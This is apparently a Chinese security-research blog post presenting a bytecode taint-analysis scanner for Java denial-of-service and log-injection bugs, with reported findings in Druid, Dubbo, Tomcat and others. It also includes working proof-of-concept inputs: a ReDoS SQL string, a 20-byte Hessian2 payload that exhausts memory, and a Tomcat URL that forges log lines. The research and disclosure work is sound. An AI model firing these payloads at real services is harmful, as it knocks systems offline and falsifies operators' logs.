前言:老实说,本文核心技术在炒冷饭,但思路有创新。我认为该文章是将模拟栈帧技术实际落地的一个示例,因此抛砖引玉作用更多。作者刚入门只能挖鸡肋DOS,但经验丰富的师傅们改造下也许可半自动挖RCE

介绍

去年底,我的偶像三梦师傅发了一篇文章:一种普遍存在于java系统的缺陷 - Memory DoS

三梦师傅重点提到了五种Java中的DoS漏洞

  • Pattern.matches造成的ReDoS
  • 循环参数可控造成耗尽CPU导致DoS
  • 业务漏洞导致的DoS(显而易见无法自动挖掘所以不考虑)
  • 数组初始化容量参数可控通过OOM导致DoS(重点关注)
  • List和Map的初始化参数可控且为int类型参数(很难遇到)

文章末尾三梦师傅给出了他获得的CVE编号:

师傅通过以上五种方式,扫描JDK并提交漏洞,获得JDK官方认可和修复

以及Weblogic的CVE:CVE-2021-2344,CVE-2021-2371,CVE-2021-2376,CVE-2021-2378

并且看到三梦师傅获得了2021年7月Oracle安全报告得到了Security-In-Depth的署名

正好一月在研究ApacheSpring系列的一些漏洞,所以尝试从这两者入手。下载了成百上千的JAR包并批量扫描,半自动的扫描结合人工分析,最终确定了10处左右的MemoryDoS漏洞

很遗憾,我尝试提交了10个左右的漏洞,一部分不理我,一部分感谢后没下文。还有一部分比如Apache Dubbo认可漏洞,但由于进行修复会对性能造成影响,最终拒绝了漏洞

Alibaba Druid认为需要SQL可控才能触发DoS漏洞,条件过于苛刻,所以拒绝

还有Apache Commons的回复比较有趣,他们认为他们提供的工具,工具例如刀片,用户使用会划伤自己,这不是工具的错,还是用户的不小心导致的,有趣的比喻

虽说最终没有获得任何CVE编号,但我通过这些研究,已经掌握了半自动挖洞的方法。如果今后爆出某些通用的Java漏洞,可以直接上手,很快地对大批JAR包进行扫描以半自动挖掘,算是收获了

本文就讲讲如何半自动结合手动来做的

核心原理

炒冷饭:参考以下四篇水文

  1. 深入分析GadgetInspector核心代码
  2. Java自动代码审计工具实现
  3. 详解Java自动代码审计工具实现
  4. 基于污点分析的JSP Webshell检测

由于需要批量分析陌生的框架,所以我没有选择加入数据流分析等内容,而是选择了模拟栈帧的方式分析单个方法后输出单个方法是否符合规则,然后结合人工审计,通过人为的经验快速进行分析

关于单个方法的分析其实很简单,大致过程如下,因此后文也是主要围绕这三点展开

  • 任何一个方法的输入参数都认为是source
  • source可以传递,例如参数是a那么b=a.func()等操作后认为b被污染
  • 如果匹配到对应的规则认为可能存在漏洞

关于如何解压JAR包进行分析等基础功能,不打算分析,可以参考文章末给出的代码仓库地址

ReDoS检测

关于ReDoS的根源是Pattern.matched导致的正则回溯,例如以下代码会卡死(至少在JDK8中会卡死)

public static void main(String[] args) {
    Pattern.matches("(a|aa)+", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab");
}

在每一个方法进入的时候,给该方法所有参数设置污染

@Override
public void visitCode() {
    super.visitCode();
    int localIndex = 0;
    if ((this.access & Opcodes.ACC_STATIC) == 0) {
        localVariables.set(localIndex, "source");
        localIndex += 1;
    }
    for (Type argType : Type.getArgumentTypes(desc)) {
        localVariables.set(localIndex, "source");
        localIndex += argType.getSize();
    }
}

在方法中存在其他方法调用的时候,处理污染传递,我在注释中给出了详细的说明

这些代码能够保证如果a是污染那么b=a.func()中的b也将是污染

拓展思路:这里我仅针对函数调用处理了污染传递,实际上还有以下可能,处理起来和以下代码类似,可以做成用户可配置的选项,然后根据实际情况来选择配置

  • 通过b=a传递到b
  • 通过b=a.c传递到b
  • 通过b=a.func1().func2()传递到b
  • 通过b=a.func();c=b.func()传递到c
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    Type[] argTypes = Type.getArgumentTypes(desc);
    // 非static方法的局部变量表0位是this对象
    if (opcode != Opcodes.INVOKESTATIC) {
        Type[] extendedArgTypes = new Type[argTypes.length + 1];
        System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
        // this
        extendedArgTypes[0] = Type.getObjectType(owner);
        argTypes = extendedArgTypes;
    }
    for (int i = 0; i < argTypes.length; i++) {
        // 如果当前方法调用的参数包含source的污染
        if (operandStack.get(i).contains("source")) {
            // 根据调用方法的返回值做决定
            Type returnType = Type.getReturnType(desc);
            // 如果是void方法就不考虑污染传递的事情
            if (returnType.getSort() != Type.VOID) {
                // 非void方法那么先模拟执行
                super.visitMethodInsn(opcode, owner, name, desc, itf);
                // 执行完栈顶是方法返回值,进行传递
                operandStack.set(0, "source");
                return;
            }
        }
    }
    super.visitMethodInsn(opcode, owner, name, desc, itf);
}

最终的分析反而简单,我这里认为两种情况存在ReDoS但实际上底层还是一种情况

  • 如果调用的目标方法是Pattern.matchesValidate.matchesPattern
  • 如果当前方法的两个参数都是污染
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    // Pattern.matches
    boolean patternMatches = (opcode == Opcodes.INVOKESTATIC) &&
        (owner.equals("java/util/regex/Pattern")) &&
        (name.equals("matches")) &&
        (desc.equals("(Ljava/lang/String;Ljava/lang/CharSequence;)Z"));
    // Apache Validate.matchesPattern
    boolean validataDoS = (opcode == Opcodes.INVOKESTATIC) &&
        (owner.equals("org/apache/commons/lang3/Validate")) &&
        (name.equals("matchesPattern")) &&
        (desc.equals("(Ljava/lang/CharSequence;Ljava/lang/String;)V"));
    if (patternMatches || validataDoS) {
        // 确认两个参数都被污染
        if (operandStack.get(0).contains("source") &&
            operandStack.get(1).contains("source")) {
            if (Command.debug) {
                logger.info("find pattern dos: " + this.owner + "." + this.name);
            }
            // 加入结果集合后续使用
            patternDoSResults.add(new DoSResult(
                this.classReference, this.methodReference, DoSResult.PATTERN_TYPE));
            super.visitMethodInsn(opcode, owner, name, desc, itf);
            return;
        }
    }
    super.visitMethodInsn(opcode, owner, name, desc, itf);
}

通过以上代码,扫描了成百上千的Jar后发现Alibaba Druid出现了一条结果

com/alibaba/druid/sql/visitor/SQLEvalVisitorUtils.visit->Pattern DoS

于是我进行了简单的人工分析,发现只要SQL语句可控即可触发ReDoS漏洞

具体分析文章之前写过了:浅谈Alibaba Druid ReDoS漏洞

只要这样的SQL语句进入Druid中就会导致拒绝服务:select * from user where 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab' RLIKE '\(a\|aa\)\+'

仅在Java层中存在ReDoS漏洞,测试在MySQL中不存在问题

循环条件可控检测

前两步类似以上内容,不再多说

  • visitCode方法中对每个参数设置污染
  • visitMethodInsn方法中处理污染的传递

在字节码中循环逻辑是通过LABEL控制的,通过一个List记录已经出现的LABEL

@Override
public void visitLabel(Label label) {
    this.labelList.add(label);
    super.visitLabel(label);
}

分析其中JUMP相关的指令,因为这里构成了循环的逻辑

@Override
public void visitJumpInsn(int opcode, Label label) {
    // 如果是GOTO指令
    if (opcode == Opcodes.GOTO) {
        // 已经出现过这个LABEL认为循环生效
        if (labelList.contains(label)) {
            // 设置一个flag不用一直循环下去
            if (this.flag) {
                // 记录结果
                forDoSResults.add(new DoSResult(
                    this.classReference, this.methodReference, DoSResult.FOR_TYPE));
                this.flag = false;
            }
        }
    }
    // for循环条件指令是IF_ICMPGE
    // 实际上不止这一个指令,但通常情况下的for循环条件都是该指令
    if (opcode == Opcodes.IF_ICMPGE) {
        // 如果指令操作数是污染则该循环可控
        if (operandStack.get(0).contains("source")) {
            this.flag = true;
        }
    }
    super.visitJumpInsn(opcode, label);
}

不过效果一般,误报太高,因为这种可控太过于常见

继续拿Alibaba Druid框架来说,会有下面一堆结果,简单分析后发现都没有问题

所以说这种循环条件可控的分析方式,需要加入数据流分析等内容,否则误报太高

但我分析了历史上的一些拒绝服务漏洞,由于循环条件可控导致的漏洞较少,也许这只是理论上的漏洞

数组初始化检测

这部分是重点,因为三梦师傅挖到的JDK漏洞以及WeblogicCVE都是这种类型

所以我重点关注了该部分的功能

首先下面这两种数组初始化的字节码是不同的

int size = 10;
byte[] a = new byte[size];
Object[] o = new Object[size];

对应字节码如下,可以看到分别使用NEWARRAYANEWARRAY指令

BIPUSH 10
ISTORE 1
...
ILOAD 1
NEWARRAY T_BYTE
...
ILOAD 1
ANEWARRAY java/lang/Object

前两步类似以上内容,不再多说

  • visitCode方法中对每个参数设置污染
  • visitMethodInsn方法中处理污染的传递

第一种指令处理,对比上文的字节码可以很容易地读懂以下代码

@Override
public void visitIntInsn(int opcode, int operand) {
    // 普通类型数组初始化指令NEWARRAY
    if (opcode == Opcodes.NEWARRAY) {
        // 该指令执行会弹栈获取参数
        // 这个参数正是数组初始化容量
        // 所以此时栈顶元素如果是污点,则数组初始化容量可控
        if (operandStack.get(0).contains("source")) {
            if (Command.debug) {
                logger.info("find array dos: " + this.owner + "." + this.name);
            }
            // 记录结果
            arrayDoSResults.add(new DoSResult(
                this.classReference, this.methodReference, DoSResult.ARRAY_TYPE));
        }
    }
    super.visitIntInsn(opcode, operand);
}

另一种指令照猫画虎,注意重写方法名是:visitTypeInsn

@Override
public void visitTypeInsn(int opcode, String type) {
    if (opcode == Opcodes.ANEWARRAY) {
        if (operandStack.get(0).contains("source")) {
            if (Command.debug) {
                logger.info("find array dos: " + this.owner + "." + this.name);
            }
            arrayDoSResults.add(new DoSResult(
                this.classReference, this.methodReference, DoSResult.ARRAY_TYPE));
        }
    }
    super.visitTypeInsn(opcode, type);
}

代码不多,以下是我对Apache Dubbo的检测结果

看似一团乱麻,实际上我根据经验,这种数据可控初始化长度的代码很有可能出现在反序列化和序列化的功能中,于是我检测搜索了下Hessian关键字,发现了基础有意思的地方

当我人工分析到com/alibaba/com/caucho/hessian/io/BasicDeserializer类的readObject方法时,发现下面这样的代码,这基本就是明写着数组初始化容量可控

case 0x1d:
case 0x1e:
case 0x1f:
    // 反序列化中计算得出的某个长度值
    int length = code - 0x10;
    in.readInt();
    // 长度传入了该方法
    return readLengthList(in, length);

在该方法中,存在大量以下这样的代码,用于反序列化数组

  • 数组初始化容量可控
  • for循环条件也可控
case INTEGER_ARRAY: {
    // length可控导致OOM
    int[] data = new int[length];
    in.addRef(data);
    // 另外for循环条件也可控
    for (int i = 0; i < data.length; i++)
        data[i] = in.readInt();
    return data;
}

所以说这里一定会存在问题,接下来是构造Payload产生OOM的DOS了

简单阅读了下Hessian2的源码,通过20字节的数据包即可导致OOM(这里就不分析了)

代码如下

public static void main(String[] args) throws Exception {
    byte[] payload = new byte[]{
        (byte) 0x70, (byte) 0x02, (byte) 0x00, (byte) 0x56,
        (byte) 0x07, (byte) 0x5B, (byte) 0x6F, (byte) 0x62,
        (byte) 0x6A, (byte) 0x65, (byte) 0x63, (byte) 0x74,
        (byte) 0x49, (byte) 0x7D, (byte) 0x2B, (byte) 0x75,
        (byte) 0x00, (byte) 0x4E, (byte) 0x4E, (byte) 0x4E
    };
    ByteArrayInputStream is = new ByteArrayInputStream(payload);
    Hessian2Input in = new Hessian2Input(is);
    in.startMessage();
    in.readObject();
    in.completeMessage();
    in.close();
}

值得一说的是,一个反序列化常见的方法readExternal中经常出现这种问题。例如三梦师傅文章中的很多DOS都是该方法中的问题。在扫描Spring-WebFlow框架中,我也发现了该问题,不过简单分析源码后发现这是一个内部的操作,完全不可控,不算漏洞

另外在三个Apache冷门框架中也发现了该问题,提交后还没有回复我

集合初始化检测

参考ArrayList的构造方法源码,确实存在问题

public ArrayList(int initialCapacity) {
    if (initialCapacity > 0) {
        // OOM
        this.elementData = new Object[initialCapacity];
    } else if (initialCapacity == 0) {
        this.elementData = EMPTY_ELEMENTDATA;
    } else {
        throw new IllegalArgumentException("Illegal Capacity: "+
                                           initialCapacity);
    }
}

代码也都类似,不再放重复的部分

// 传递一个int参数的ArrayList构造方法
boolean listInit = (opcode == Opcodes.INVOKESPECIAL) &&
    (owner.equals("java/util/ArrayList")) &&
    (name.equals("<init>")) &&
    (desc.equals("(I)V"));
if (listInit) {
    // 这个int参数是否是污染
    if (operandStack.get(0).contains("source")) {
        if (Command.debug) {
            logger.info("find list dos: " + this.owner + "." + this.name);
        }
        listDoSResults.add(new DoSResult(
            this.classReference, this.methodReference, DoSResult.LIST_TYPE));
        super.visitMethodInsn(opcode, owner, name, desc, itf);
        return;
    }
}

参考HashMap的构造方法源码,这里有一个MAXIMUM_CAPACITY限制,所以可能不存在OOM这种DoS

public HashMap(int initialCapacity, float loadFactor) {
    if (initialCapacity < 0)
        throw new IllegalArgumentException("Illegal initial capacity: " +
                                           initialCapacity);
    if (initialCapacity > MAXIMUM_CAPACITY)
        initialCapacity = MAXIMUM_CAPACITY;
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new IllegalArgumentException("Illegal load factor: " +
                                           loadFactor);
    this.loadFactor = loadFactor;
    this.threshold = tableSizeFor(initialCapacity);
}

拓展:Log4j2检测

这里的检测并不是从依赖层面的检测,而是对于精准的触发点检测:例如某个类的某个方法的日志内容可控,因此可能存在Log4j2Shell漏洞。这并不是没有意义的,相对于盲打,也许存在一定的意义

对某一方法检测:是否存在参数能影响到Log4j2传入参数

进而结合人工分析是否存在Lo4j2Shell漏洞

@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    // org.apache.logging.log4j.Logger
    boolean log4jMatches = (opcode == Opcodes.INVOKEINTERFACE) &&
        (owner.equals("org/apache/logging/log4j/Logger")) &&
        ((name.equals("error")) || name.equals("warn") || name.equals("info"));
    if (log4jMatches) {
        if (operandStack.get(0).contains("source")) {
            if (Command.debug) {
                logger.info("find log4j2: " + this.owner + "." + this.name);
            }
            logResults.add(new LogResult(this.classReference, this.methodReference));
            super.visitMethodInsn(opcode, owner, name, desc, itf);
            return;
        }
    }
}

拓展:日志注入

前段时间Spring框架爆出日志注入的CVE

CVE-2021-22096 and CVE-2021-22060:

https://tanzu.vmware.com/security/cve-2021-22096

https://tanzu.vmware.com/security/cve-2021-22060

在OWASP网站中有相关介绍:
https://owasp.org/www-community/attacks/Log_Injection

核心检测代码实现

// org.slf4j.Logger
boolean slf4jMatches = (opcode == Opcodes.INVOKEINTERFACE) &&
    (owner.equals("org/slf4j/Logger")) &&
    ((name.equals("error")) || name.equals("warn") || name.equals("info")) &&
    ((desc.equals("(Ljava/lang/String;Ljava/lang/Object;)V")) ||
     desc.equals("(Ljava/lang/String;)V"));
// org.apache.logging.log4j.Logger
boolean log4jMatches = (opcode == Opcodes.INVOKEINTERFACE) &&
    (owner.equals("org/apache/logging/log4j/Logger")) &&
    ((name.equals("error")) || name.equals("warn") || name.equals("info"));
// org.apache.juli.logging.Log;
boolean tomcatMatches = owner.equals("org/apache/juli/logging/Log") &&
    ((name.equals("error")) || name.equals("warn") || name.equals("info"));
// org.apache.dubbo.common.logger.Logger
boolean dubboMatches = owner.equals("org/apache/dubbo/common/logger/Logger") &&
    ((name.equals("error")) || name.equals("warn") || name.equals("info"));
if (slf4jMatches || tomcatMatches || log4jMatches || dubboMatches) {
    if (operandStack.get(0).contains("source")) {
        if (Command.debug) {
            logger.info("find log inject: " + this.owner + "." + this.name);
        }
        logResults.add(new LogResult(this.classReference, this.methodReference));
        super.visitMethodInsn(opcode, owner, name, desc, itf);
        return;
    }
}

扫描发现很多框架都存在这个问题

上个月我向TomcatShiro也报告了该问题:Tomcat如果开启调试日志且启用CSRF防御,则存在漏洞

以下是Tomcat报告的内容和回复

A simple test of Tomcat Log Library

import org.apache.juli.logging.Log;
import org.apache.juli.logging.LogFactory;

public class Main {
    public static void main(String[] args) {
        Log log = LogFactory.getLog(Main.class);
        log.error("test\nSEVERE: evil log");
    }
}

Output

SEVERE: test
SEVERE: evil log

The above proves that the Tomcat log library does not handle malicious characters, so I try to find the place of vulnerability injection in the Tomcat source code

org\apache\catalina\filters\CsrfPreventionFilter.java

request path is a controllable variable

@Override
public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) throws IOException, ServletException {
    ...
    if (!skipNonceCheck) {
        String previousNonce =
            req.getParameter(nonceRequestParameterName);
        ...
        if(previousNonce == null) {
            if(log.isDebugEnabled()) {
                // path is a controllable variable
                log.debug("Rejecting request for " + getRequestedPath(req)
                          + ", session "
                          + (null == session ? "(none)" : session.getId())
                          + " with no CSRF nonce found in request");
            }
            ...

Exploit

http://127.0.0.1:8080/test%0a01-Feb-2022%2011:02:30.432%20FINE%20%5bhttp-nio-8080-exec-6%5d%20evil%20log%20%0a

(url decode value: test\n01-Feb-2022 11:02:30.432 FINE [http-nio-8080-exec-6] evil log\n)

On the exploitation of vulnerabilities: for example, add some confused logs, such as forged IP, forged classes, forged error reports and exceptions, which brings trouble to the operation and maintenance personnel and auditors. Further, if there is an internal log analysis platform, and the xxx is wrapped by the script tag, that is, JavaScript code, the platform reading the log may have XSS vulnerabilities. Other exploitation of vulnerabilities refer to OWASP:
https://owasp.org/www-community/attacks/Log_Injection

You can refer to the repair of spring

https://github.com/spring-projects/spring-framework/commit/90fdcf88d832eb6d8f635d3aa727c762b273845b#diff-c69932140a2ceec80b7559a7ec9f84e34fd89b2e6f03d3ba0d5b26bc69ffe1c3

https://github.com/spring-projects/spring-framework/commit/e8f6cd10a543d4f03da8e8a9750091ec9291e703#diff-c69932140a2ceec80b7559a7ec9f84e34fd89b2e6f03d3ba0d5b26bc69ffe1c3

Apache Tomcat认为该问题不算是漏洞,但确实是一个问题

总结

最后一篇炒冷饭文章了,以后不会写这种技术相关的文章了

另外已经开学,没有时间写文章,应付学校事情了

还有更多的漏洞提交与回复,为避免文章又臭又长,所以简单选取其中比价有价值的部分展示和分析

工具代码:

https://github.com/4ra1n/DoSer

鸡肋成果:

  • Apache Dubbo 拒绝服务漏洞(能复现有危害,官方不修复因为影响性能)
  • Alibaba Druid 拒绝服务漏洞(触发条件较高,能复现有危害,官方不认)
  • Apache Shiro 日志注入漏洞(官方认可,但认为该漏洞应该报告给Log4j)
  • Apache Hadoop 日志注入漏洞(官方认可,但由于危害过低不给CVE)
  • Apache Log4j2 日志注入漏洞(官方认为这不是漏洞,而是一种功能的改进)
  • Apache Tomcat 日志注入漏洞(官方认为这不是漏洞,而是一种功能的改进)
  • Apache ActiveMQ/Apache Kafka/Apache Commons/...(不回复)

作者刚入门,经验不足,所以只能搞下鸡肋漏洞。如果是经验丰富的师傅,根据该原理也许可以批量挖高危洞

点击收藏 | 7 关注 | 7
  • 动动手指,沙发就是你的了!
登录 后跟帖